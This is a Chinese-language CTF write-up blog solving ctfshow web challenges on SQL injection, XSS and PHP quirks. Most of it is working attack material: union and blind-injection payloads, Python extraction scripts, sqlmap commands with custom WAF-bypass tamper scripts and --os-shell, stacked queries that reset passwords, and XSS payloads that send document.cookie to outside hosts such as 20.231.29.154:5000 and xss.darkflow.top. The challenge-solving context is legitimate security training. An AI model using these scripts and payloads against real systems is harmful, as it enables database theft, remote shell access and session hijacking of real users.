https://blog.gem-love.com/ctf/2283.html注入

171

入门开始,直接union select

database:ctfshow_web
table:ctfshow_user
0' union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user --+

172

database:ctfshow_web
table:ctfshow_user2
0' union select 1,group_concat(password) from ctfshow_web.ctfshow_user2 --+

173

database:ctfshow_web
table:ctfshow_user3
0' union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user3 --+

174

返回内容中不能有数字了,试试布尔注入吧

select * from tableName limit i,n

i为索引,n为数量

随便写的垃圾脚本

import requests
url="http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1=     &page=1&limit=10"
for i in range(1,1000):
    for j in range(45,57):
        sql = f"if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))={j},1,0)"
        url=f"http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1={sql}--+&page=1&limit=10"
        tex=requests.get(url).text
        if 'admin' in tex:
            print(chr(j),end='')
    for j in range(97,125):
        sql = f"if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))={j},1,0)"
        url=f"http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1={sql}--+&page=1&limit=10"
        tex=requests.get(url).text
        if 'admin' in tex:
            print(chr(j),end='')

175

啥都没了时间盲注

import requests
url="http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1&page=1&limit=10"
for i in range(1,1000):
    for j in range(45, 57):
        sql = f"if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))={j},sleep(2),0)"
        url = f"http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1'and 1={sql}--+&page=1&limit=10"
        try:
            requests.get(url=url, timeout=1)
        except Exception as e:
            print(chr(j), end='')
    for j in range(97,125):
        sql = f"if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))={j},sleep(2),0)"
        url=f"http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1'and 1={sql}--+&page=1&limit=10"
        try:
            requests.get(url=url,timeout=1)
        except Exception as e:
            print(chr(j), end='')

或者试试文件读写

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+

176

过滤了union select,大小写绕过或万能密码1' or 1=1--+

database:ctfshow_web
table:ctfshow_user
0' unIon sElEct 1,2,group_concat(password) from ctfshow_web.ctfshow_user --+

177

过滤了空格,/**/即可,不能用+,url会被转成空格

0'/**/union/**/select/**/1,2,group_concat(password)/**/from/**/ctfshow_user%23

178

过滤了空格和*,制表符%09绕过

0'%09union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23

179

%09也没了,还剩%0c

0'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23

180

真没招了,看看wp,通过反引号分割,绝

0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

还有

0'or(id=26)and'1'='1

181

select不见了,万能密码

0'%0cor%0cid='26

182

flag不见了,其实不影响上面的,但是还是可以尝试模糊匹配

0'%0cor%0cusername%0clike%0c'%fla%

183

使用正则表达式和布尔盲注

WHERE email REGEXP 'a'

意思是在email中匹配a的

写脚本咯

import requests
url = 'http://24a744c9-dd02-415a-b46b-68e87b328edd.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
for i in range(1,1000):
    for j in flagstr:
        data = {
            'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
        }
        tex = requests.post(url, data=data).text
        if "$user_count = 1;" in tex:
        	print(j,end='')

184

RIGHT JOIN 关键字会右表 (table_name2) 那里返回所有的行,即使在左表 (table_name1) 中没有匹配的行。

SELECT column_name(s)
FROM table_name1
RIGHT JOIN table_name2

我们将匹配后的表作为右表,使用正则查询即可

ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({ord(j)})))

import requests
url = 'http://cf6d0357-c567-4db6-9fab-5827e7d5e40d.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
for i in range(1,1000):
    for j in flagstr:
        data = {
            'tableName': f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({ord(j)})))"
        }
        tex = requests.post(url, data=data).text
        if "$user_count = 43;" in tex:
            print(j,end='')
            break

记得问on是啥意思

185

过滤了数字,用true=1相加构造数字咧

import requests
url = 'http://7cdec59f-0059-4f5d-ac07-fcac41696822.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
def lo(x):
    tmp="true"
    for i in range(1,x):
        tmp=tmp+"+true"
    return tmp
for i in range(1,1000):
    for j in flagstr:
        data = {
            'tableName': f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,({lo(i)}),(true))regexp(char({lo(ord(j))})))"
        }
        tex = requests.post(url, data=data).text
        if "$user_count = 43;" in tex:
            print(j,end='')
            break

186

同上,开打就完了

187

针对md5(xxx,true)的绕过:链接

只能寻找md5

所以密码输入:ffifdyop即可

进行运算得出的结果为

‘or’6�]��!r,��b

由于or后面6为真,所以语句恒为真

188

SQL比较真真离谱

字符串当作数字处理

即当mysql中字符串与数字做比较的时候,会将字符串当作数字来比较。如123bac会当作123处理。 因此我们在查询的时候即使username=0,也会返回一些以0开头的数据。

00即可

189

空格消失法,提示flag在api/flag.php中,必然要读取文件咯

尝试用户名发现只有两种回显结果,一种是查询失败,一种是密码错误

布尔盲注走起

import requests
url = 'http://36ec0642-dfd4-460f-951d-afbf1887db2c.challenge.ctf.show/api/index.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
flag=''
for i in range(1,1000):
	for j in flagstr:
		tmp=flag+j
		data = {'username': f'if(load_file("/var/www/html/api/index.php")regexp(\'{tmp}\'),0,1)#','password': '1',}
		tex = requests.post(url=url, data=data)
		if "密码错误" in tex.json()['msg']:
			print(j,end='')
			flag=flag+j
			break

190

进行一个布尔的盲注

import requests
url = 'http://f808d3c6-5e32-4c6c-a217-16eb4cd1c842.challenge.ctf.show/api/'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
flag=''
for i in range(1,1000):
	for j in flagstr:
		tmp=flag+j
		data = {'username': f"admin' and ((substr((select f1ag from ctfshow_fl0g),{i},1))='{j}')#",'password': '1',}
		tex = requests.post(url=url, data=data)
		if "密码错误" in tex.json()['msg']:
			print(j,end='')
			flag=flag+j
			break

191

过滤了file|into|ascii上个脚本还能用

192

过滤了file|into|ascii|ord|hex继续用

193

过滤了file|into|ascii|ord|hex|substr问题不大,换left

database:ctfshow_web
table:ctfshow_flxg
column:f1ag
import requests
url = 'http://dc60958a-3c76-4425-acf9-cef85100c566.challenge.ctf.show/api/'
flagstr = r",{flqazwsxedcrvtgbyhnujmikolp-0123456789}_"
flag=''
for i in range(1,1000):
	for j in flagstr:
		tmp=flag+j
		data = {'username': f"admin' and (left((select f1ag from ctfshow_flxg),{i})='{tmp}')#",'password': '1',}
		tex = requests.post(url=url, data=data)
		if "用户名不存在" not in tex.json()['msg']:
			print(j,end='')
			flag=flag+j
			break

194

我谢谢你啊left和right都没了

过滤了file|into|ascii|ord|hex|substr|char|left|right|substring,用like或者正则(其实用mid也行)

database:ctfshow_web
table:ctfshow_flxg
column:f1ag
import requests
url = 'http://a0589fee-511c-495e-b8c9-319e9f5cc086.challenge.ctf.show/api/'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}_,"
flag=''
for i in range(1,1000):
	for j in flagstr:
		tmp=flag+j
		data = {'username': f"admin' and if(((select group_concat(f1ag) from ctfshow_flxg)regexp('{tmp}')),1,0)#",'password': '1',}
		tex = requests.post(url=url, data=data)
		if "用户名不存在" not in tex.json()['msg']:
			print(j,end='')
			flag=flag+j
			break

195

堆叠改密码咯,查询语句中的username没有用引号包裹,所以查询的时候用十六进制转字符串

1;update`ctfshow_user`set`pass`=0x313131;
1
0x61646d696e
111

196

😅

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-10 11.29.32.png)

197,198

一个wp脚本

# @Author:Y4tacker
import requests

url = "http://b126bc7c-2b32-461d-9520-30d5baf7a152.chall.ctf.show/api/"
for i in range(100):
    if i == 0:
        data = {
            'username': '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
                        'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
                        'varchar(255);',
            'password': f'{i}'
        }
        r = requests.post(url, data=data)
    data = {
        'username': '0x61646d696e',
        'password': f'{i}'
    }
    r = requests.post(url, data=data)
    if "登陆成功" in r.json()['msg']:
        print(r.json()['msg'])
        break

我选离谱方法:

# @Author:Y4tacker
# username=0;show tables;
# pass=ctfshow_user

199,200

只有离谱方法能用了

201

sqlmap使用开始

//查库
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" --dbs
//查表
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables
//查字段 
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
//查值
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump

202

使用POST请求,添加–data参数来设置

sqlmap -u http://84e4c090-49b9-47dd-a749-2b144bba6ff5.challenge.ctf.show/api/ --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

203

调整请求方式,此处调整为PUT请求,记得加上Content-Type不然会变表单提交

sqlmap -u http://86418dcd-b385-474c-b132-554a8ee6a95d.challenge.ctf.show/api/index.php --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump

204

加上cookie,用–cookie

sqlmap -u http://024304b8-be6a-48da-bc31-a8fcb796f2e8.challenge.ctf.show/api/index.php --cookie="UM_distinctid=17ff4d2091576a-09cf5f45e352f9-113f645d-384000-17ff4d209161689; PHPSESSID=honuvgjau5711m3j9tn84hloip; ctfshow=2e0d6ee1573392a73c0cca1476342faa" --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump

205

提示api鉴权,发现请求前会先对一个url进行调用

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-10 21.53.17.png)

使用如下两个参数

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数

最终命令悄悄换表名和列名真的可恶

sqlmap -u http://685993ca-1d7f-4372-b50e-2bfc278ae33e.challenge.ctf.show/api/index.php --safe-url="http://685993ca-1d7f-4372-b50e-2bfc278ae33e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump

206

提示SQL需要闭合,当我sqlmap傻是吧,同上即可

207

–tamper 的初体验

tamper总结

使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击,–tamper=TAMPER 利用给定的脚本进行篡改注入数据,该题过滤了空格,使用自带的space2comment.py即可绕过

sqlmap -u http://894488fd-6cfa-4392-aefa-61f64467a37c.challenge.ctf.show/api/index.php --safe-url="http://894488fd-6cfa-4392-aefa-61f64467a37c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --tamper="space2comment.py"

208

过滤了小写的select,但是sqlmap中所有SELECT都是大写,同上即可

sqlmap -u http://d6087ca0-43f5-417e-8fe2-b620a9fda955.challenge.ctf.show/api/index.php --safe-url="http://d6087ca0-43f5-417e-8fe2-b620a9fda955.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --tamper="space2comment.py"

209

过滤了空格,*和=,讲道理使用bluecoat.py就行,但是出不来,只能自己编写脚本替换了,将空格用%09替换,=用LIKE替换

sqlmap -u http://477c2806-7230-462f-adac-0213ba40f10f.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://477c2806-7230-462f-adac-0213ba40f10f.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch --tamper web209.py
#web209.py
#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x9)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x9) + 'like' + chr(0x9)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x9)
                continue

            retVal += payload[i]

    return retVal

210

对字符串进行base64解码反转再解码,那就编码反转再编码

sqlmap -u http://557cc437-11cc-423f-908a-43fd7aa8b33e.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://557cc437-11cc-423f-908a-43fd7aa8b33e.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch --tamper web210.py
#web210.py
#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):


    retVal = payload

    if payload:
        retVal=retVal.encode()
        retVal=retVal[::-1]
        retVal=base64.b64encode(retVal)
        retVal=retVal[::-1]
        retVal=base64.b64encode(retVal)
    return retVal.decode()

211

相比于上题多过滤了空格,加上space2commit脚本即可

sqlmap -u http://5202066d-7531-4be8-8cff-4ae5052a88a4.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5202066d-7531-4be8-8cff-4ae5052a88a4.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --dump --batch --tamper="space2commit.py,web210.py"

212

前两个加起来

sqlmap -u http://fea29546-5555-4d19-a7fa-63d86e7eb6b8.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://fea29546-5555-4d19-a7fa-63d86e7eb6b8.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --dump --batch --tamper="web209.py,web210.py"

213

一键getshell,–os-shell

sqlmap -u http://18f74fd7-e863-4171-a825-d896a079c1f3.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://18f74fd7-e863-4171-a825-d896a079c1f3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --os-shell --dump --batch --tamper="web209.py,web210.py"

214

时间盲注开始

首页发现网络流量中有select.js,查看代码


layui.use('element', function(){
  var element = layui.element;
  element.on('tab(nav)', function(data){
    console.log(data);
  });
});

$.ajax({
      url:'api/',
      dataType:"json",
      type:'post',
      data:{
        ip:returnCitySN["cip"],
        debug:0
      }

    });

发现提交的表单中有两个变量,测试一下

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-12 14.27.34.png)

测试成功,开始编写代码

import requests

url="http://7a5edb92-03ea-49ff-bd27-30b753229c99.challenge.ctf.show/api/"
flagchar="-{},qwertyuiopasdfghjklzxcvbnm_1234567890"

for i in range(1,1000):
	for j in flagchar:
		data = {
			#'ip': f'1 or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagx"),{i},1))="{j}",sleep(3),1)',
			'ip': f'1 or if((substr((select group_concat(flaga) from ctfshow_flagx),{i},1))="{j}",sleep(3),1)',
			'debug': '1'
		}
		try:
			requests.post(url=url,data=data,timeout=2.5)
		except:
			print(j,end='')
			break

215

单引号闭合

import requests

url="http://59e08013-c379-4607-a6bf-c11d5c4d6d6e.challenge.ctf.show/api/"
flagchar="-{},flagqwertyuiopsdhjkzxcvbnm_1234567890"

for i in range(1,1000):
	for j in flagchar:
		data = {
			#'ip': f'1\' or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))="{j}",sleep(3),1)#',
			#'ip': f'1\' or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxc"),{i},1))="{j}",sleep(3),1)#',
			'ip': f'1\' or if((substr((select group_concat(flagaa) from ctfshow_flagx),{i},1))="{j}",sleep(3),1)#',
			'debug': '1'
		}
		try:
			requests.post(url=url,data=data,timeout=2.5)
		except:
			print(j,end='')
			break

216

base64编码

import requests

url="http://fe2f1a17-e483-4137-b85d-9fa3a6daaa18.challenge.ctf.show/api/"
flagchar="-{},ctfshowlagbde1234567890"
namechar=",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for i in range(1,1000):
	for j in flagchar:
		data = {
			#'ip': f'"MQ==") or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))="{j}",sleep(2),1)#',
			#'ip': f'"MQ==") or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxcc"),{i},1))="{j}",sleep(2),1)#',
			'ip': f'"MQ==") or if((substr((select group_concat(flagaac) from ctfshow_flagxcc),{i},1))="{j}",sleep(2),1)#',
			'debug': '1'
		}
		try:
			requests.post(url=url,data=data,timeout=1.5)
		except:
			print(j,end='')
			break

217

sleep不能用了啦,都ctfshow害得啦,拜托,换benchmark

import requests

url = "http://e7d85700-c8a1-48c2-bea8-4ead2e0976b4.challenge.ctf.show/api/"
flagchar = "-{},ctfshowlagbde1234567890"
namechar = ",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for i in range(1, 1000):
    for j in flagchar:
        data = {
            #'ip': f'1) or if(((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
            #'ip': f'1) or if(((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxccb"),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
            'ip': f'1) or if(((substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
            'debug': '1'
        }
        try:
            requests.post(url=url, data=data, timeout=4)
        except:
            print(j, end='')
            break

218

benchmark也🈚️了,换笛卡尔积

import requests

url = "http://de5b41b6-9f89-4e0a-b913-7c33a143979a.challenge.ctf.show/api/"
flagchar = "-{},abcdef1234567890"
namechar = ",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for k in range(10):
    print()
    for i in range(1, 50):
        for j in flagchar:
            data = {
                #'ip': f'1) or if(((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))=\'{j}\'),(SELECT count(*) FROM information_schema.columns A,information_schema.columns B),1)#',
                #'ip': f'1) or if(((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxc"),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
                'ip': f'1) or if(((substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))=\'{j}\'),(SELECT count(*) FROM information_schema.tables A,information_schema.tables B,information_schema.columns C),1)#',
                'debug': '1'
            }
            try:
                requests.post(url=url, data=data, timeout=4)
            except:
                print(j,end="")
                break

219

过滤了rlike,笛卡尔积依然可用,同上即可

220

sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr

真能滤,换left

import requests

url = "http://ee633dfd-4a05-4685-bbf6-1da4b5fc4d1d.challenge.ctf.show/api/"
flagchar = "ctfshow-{},abde1234567890"
namechar = "flag,ctfshow_qwertyuiopasdfghjklzxcvbnm"
flag=""
for k in range(10):
    print()
    flag = ""
    for i in range(1, 50):
        for j in flagchar:
            tmp=flag+j
            data = {
                'ip': f'1) or if((left((select flagaabcc from ctfshow_flagxcac),{i})=\'{tmp}\'),(SELECT count(*) FROM information_schema.tables A,information_schema.tables B,information_schema.columns C),1)#',
                'debug': '1'
            }
            try:
                requests.post(url=url, data=data, timeout=4)
            except:
                flag=tmp
                print(j,end="")
                break

时间盲注,结束

221

limit注入,欢迎收看P神博客

报错注入

SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

222

Group_by后面的参数来进行布尔注入

import requests
url="http://debba94a-3e3c-4b9e-97e0-27c6e7381dde.challenge.ctf.show/api/?u="
ca="ctfshow{1234567890-abcdef}"
for i in range(1,100):
    for j in ca:
        payload=f'if(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1)="{j}","username",cot(0))'
        tex=requests.get(url+payload).text
        if "username" in tex:
            print(j,end="")
            break;

223

过滤了数字,贴个大佬脚本

# @Author:Kradress
import requests
import string

url = "http://7702b56c-35d9-4b80-abdc-bb0956f4bce5.challenge.ctf.show/api/"

result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"

def numToStr(str):
    parts = []
    for s in str:
        parts.append(numToStr2(s))
    res = ','.join(parts)
    return f"concat({res})"

def numToStr2(num):
    parts = []
    n = ord(num)
    for i in range(n):
        parts.append("true")
    res = "+".join(parts)
    return f"char({res})"

for i in range(1,46):
    print(i)
    for j in dict:
        params={
            'u' : f"concat(if(substr(({payload}),{numToStr(str(i))},true)={numToStr(j)},username,cot(false)))#"
        }
        r = requests.get(url, params=params)
        # print(r.url)
        if("ctfshow" in r.text):
            result +=j
            print(result)
            break

224

通过文件信息的注入,这里有颖师傅的博客

但是发现这个file()方法可以检测图片的EXIF信息,而EXIF信息中有一个comment字段,相当于图片注释,而finfo->file()正好能够输出这个信息,如果上面的假设成立,这就可以造成SQL注入

再到别的师傅那里去拿一个源码

<?php
	error_reporting(0);
	if ($_FILES["file"]["error"] > 0)
	{
		die("Return Code: " . $_FILES["file"]["error"] . "<br />");
	}
	if($_FILES["file"]["size"]>10*1024){
		die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
	}
    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
	  $filename = md5(md5(rand(1,10000))).".zip";
      $filetype = (new finfo)->file($_FILES['file']['tmp_name']);
      if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
        die("file type error");
      }
	  $filepath = "upload/".$filename;
	  $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $filename);
	  $con = mysqli_connect("localhost","root","root","ctf");
		if (!$con)
		{
			die('Could not connect: ' . mysqli_error());
		}
		if (mysqli_multi_query($con, $sql)) {
			header("location:filelist.php");
		} else {
			echo "Error: " . $sql . "<br>" . mysqli_error($con);
		}
		 
		mysqli_close($con);
		
      }
    
?>

看到filetype变量确实通过finfo取了内容,我们本地跑一下

确实输出了部分的文件信息,看群里给的payload,使用的是bin文件,构造的文件部分内容被输出

上传拿shell即可

后记:似乎这里拿到的是file命令获取的内容

225

堆叠:

prepare a from 0x十六进制语句;execute a;

226

同上

227

没查出来东西,看WP,通过查询information_schema.routines查看存储过程和函数

存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。
存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。
存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用。

就是存了已经定义好的函数,可以看到getFlag函数,也能看到flag,调用的话使用call getFlag就好

228,229,230

都是上面的

231

update开始,第一道题直接连着username一起改

password=0',username=(select group_concat(flagas) from flaga where table_schema=database())%23&username=1

232

md5问题不大,多裹个括号就行

password=0'),username=(select group_concat(flagass) from flagaa)%23&username=1

233

似乎单引号消失了,转义然后和后面username的闭合就行

password=\&username=,username=(select group_concat(flagass233) from flag233333)%23

234

单双一起,同上

password=\&username=,username=(select group_concat(flagass23s3) from flag23a)%23

235

无列名注入,看这里

password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1) as a)%23

236

多滤了个flag,没卵用

password=\&username=,username=(select group_concat(`2`)  from (select 1,2,3 union select * from flaga) as a)%23

237

进入insert环节,闭合,拿数据,插入

username=1',(select group_concat(flagass23s3) from flag))%23&password=1

238

没有空格用括号

username=1',(select(group_concat(flag))from(flagb)))%23&password=1

239

又一个无列名,注不进去,也不知道哪里出问题了

240

有表名那不狠狠的爆破?

import requests
import itertools
import time
url="http://6be0cd82-3931-4919-a3e1-bfdcd72e685a.challenge.ctf.show/api/insert.php"
s='ab'
a=map(''.join, itertools.product('ab', repeat=5))
for i in a:
    table='flag'+i;
    data={'username':f"1',(select(flag)from({table})))#",'password':'1'}
    requests.post(url,data=data)
    time.sleep(0.1)

241

开始删东西了,就20条,用时间盲注吧,脚本from yu师傅

# @Author:yu22x
import requests
import time
import urllib.parse
url = "http://b37e7121-22c6-4917-bfa5-ddc38a0ed78f.challenge.ctf.show/api/delete.php"
s='0123456789abcdef-'
flag='ctfshow{'

for i in range(9,46):
		print(i)
		for j in s:
			data={'id':f'0||if(substr((select flag from flag),{i},1)="{j}",sleep(1),0)'}
			#print(data)
			try:
				requests.post(url,data=data,timeout=1)
			except:
				flag+=j  
				print(flag)
				break
			time.sleep(1)

242

进行一个文件的dump

CTFshowXSS

首先自己搭建或者找xss测试平台还有另一个

316

最简单的:
<script>document.location.href='http://服务器IP/?x='document.cookie</script>

317

过滤了script

<body onload="document.location.href='http://服务器IP/?x='+document.cookie"></body>

318

过滤了img,使用iframe

<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#48;&#120;&#46;&#97;&#120;&#47;&#107;&#48;&#74;&#106;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>
<BODY	ONLOAD=document.location='http://xss.darkflow.top?cookie='+document.cookie;>

319

同上即可

320

过滤了空格,script,用tab

<iframe	WIDTH=0	HEIGHT=0	srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#48;&#120;&#46;&#97;&#120;&#47;&#107;&#48;&#74;&#106;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

321

过滤了img,同上

322

同上

323

过滤了iframe,使用body onload(艹居然过滤了xss,我的域名里有xss啊啊啊啊啊啊啊啊啊啊啊)

<body/onload=document.location='http://20.231.29.154:5000/?cookie='+document.cookie;>

一直到326通杀

浅总结:看这几道题来说,反射性xss无非就是变换标签,结合各种编码去绕过,空格用\,关键字双写或者编码等等

存储型XSS开始

327

收件人为admin,内容为XSS即可

<body/onload=document.location='http://20.231.29.154:5000/?cookie='+document.cookie;>

328

构造js偷管理员cookie(不知道为啥我偷了登陆了也不行)

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-20 17.41.19.png)

用超强模块吧

<sCRiPt sRC=//xss8.cc/R9YM></sCrIpT>

CTFshowPHP特性

89

数组绕过

intval()用于获取变量的整数值
intval() 函数通过使用指定的进制base转换(默认是十进制),返回变量var的integer数值。intval()不能用于object,否则会产生E_NOTICE错误并返回1。
语法
int intval ( mixed $var [, int $base = 10 ] )

90

十六进制

91

if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
//m代表多行匹配,换行符加php即可
//cmd=%0Aphp

92

同90

93

滤了16进制,使用8进制绕过

?num=010574

94

全等用小数绕过

?num=4476.01

95

小数点没了,用八进制加正号绕过0过滤

?num=+010574

96

?u=./flag.php

97

md5强相等数组绕过

a[]=1&b[]=2

98

分析代码

3.	$_GET?$_GET=&$_POST:'flag';

    if ($_GET) {			//只要有输入的get参数
        $_GET = &$_POST; //就将get方法改变为post方法(修改了get方法的地址)
        				// 比如$_GET[a] = &$_POST[a],get传a无作用,必须用POST
    } else {
        "flag";
    }

4、5行无作用

6.	highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

